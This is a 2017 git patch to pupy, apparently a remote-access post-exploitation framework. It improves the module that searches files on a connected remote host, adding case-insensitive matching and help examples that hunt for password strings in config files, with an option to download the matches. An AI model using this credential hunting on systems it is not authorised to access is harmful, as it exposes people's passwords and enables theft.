From 8c664b161c1547a12208ab9b70b5df8c1baf233d Mon Sep 17 00:00:00 2001 From: AlessandroZ Date: Wed, 17 May 2017 23:55:31 +0200 Subject: [PATCH] little search module improvement --- pupy/modules/search.py | 15 +++++++++++---- pupy/packages/all/pupyutils/search.py | 16 +++++++++++----- 2 files changed, 22 insertions(+), 9 deletions(-) diff --git a/pupy/modules/search.py b/pupy/modules/search.py index d42aeaa3..3824b9e7 100644 --- a/pupy/modules/search.py +++ b/pupy/modules/search.py @@ -14,16 +14,20 @@ class SearchModule(PupyModule): terminate = None def init_argparse(self): - self.arg_parser = PupyArgumentParser(prog="search", description=self.__doc__) + example = 'Examples:\n' + example += '>> run search .*ini passw.*=.*\n' + example += '>> run search .* passw.*=.* -I\n' + + self.arg_parser = PupyArgumentParser(prog="search", description=self.__doc__, epilog=example) self.arg_parser.add_argument('-p', '--path', default='.', help='root path to start (default: current path)') self.arg_parser.add_argument('-m','--max-size', type=int, default=20000000, help='max file size (default 20 Mo)') self.arg_parser.add_argument('-b', '--binary', action='store_true', help='search content inside binary files') self.arg_parser.add_argument('-L', '--links', action='store_true', help='follow symlinks') self.arg_parser.add_argument('-D', '--download', action='store_true', help='download found files (imply -N)') self.arg_parser.add_argument('-N', '--no-content', action='store_true', help='if string matches, output just filename') + self.arg_parser.add_argument('-I', '--insensitive', action='store_true', default=False, help='no case sensitive') self.arg_parser.add_argument('filename', type=str, metavar='filename', help='regex to search (filename)') - self.arg_parser.add_argument('strings', nargs='*', default=[], type=str, - metavar='string', help='regex to search (content)') + self.arg_parser.add_argument('strings', nargs='*', default=[], type=str, metavar='string', help='regex to search (content)') def run(self, args): self.terminate = self.client.conn.modules['threading'].Event() @@ -38,6 +42,8 @@ class SearchModule(PupyModule): root_path=args.path, follow_symlinks=args.links, no_content=args.no_content, + case=args.insensitive, + binary=args.binary, terminate=self.terminate ) @@ -51,7 +57,8 @@ class SearchModule(PupyModule): for res in s.run(): if args.strings and not args.no_content: - self.success('{}: {}'.format(*res)) + if type(res) == tuple: + self.success('{}: {}'.format(*res)) else: if args.download and download is not None and ros is not None: dest = res.replace('!', '!!').replace('/', '!').replace('\\', '!') diff --git a/pupy/packages/all/pupyutils/search.py b/pupy/packages/all/pupyutils/search.py index 2418200e..3ba689c1 100644 --- a/pupy/packages/all/pupyutils/search.py +++ b/pupy/packages/all/pupyutils/search.py @@ -10,11 +10,17 @@ import mmap class Search(): def __init__(self, path, strings=[], max_size=20000000, root_path='.', no_content=False, - binary=False, follow_symlinks=False, terminate=None): + case=False, binary=False, follow_symlinks=False, terminate=None): self.max_size = int(max_size) self.follow_symlinks = follow_symlinks self.no_content = no_content self.binary = binary + self.case = case + + if self.case: + i = re.IGNORECASE + else: + i = 0 path = os.path.expandvars(os.path.expanduser(path)) @@ -24,17 +30,17 @@ class Search(): self.path = None elif path.startswith('/'): root_path = os.path.dirname(path) - self.name = re.compile(os.path.basename(path)) + self.name = re.compile(os.path.basename(path), i) self.path = None elif '/' in path: - self.path = re.compile(path) + self.path = re.compile(path, i) self.name = None else: - self.name = re.compile(path) + self.name = re.compile(path, i) self.path = None self.strings = [ - re.compile(string) for string in strings + re.compile(string, i) for string in strings ] self.terminate = terminate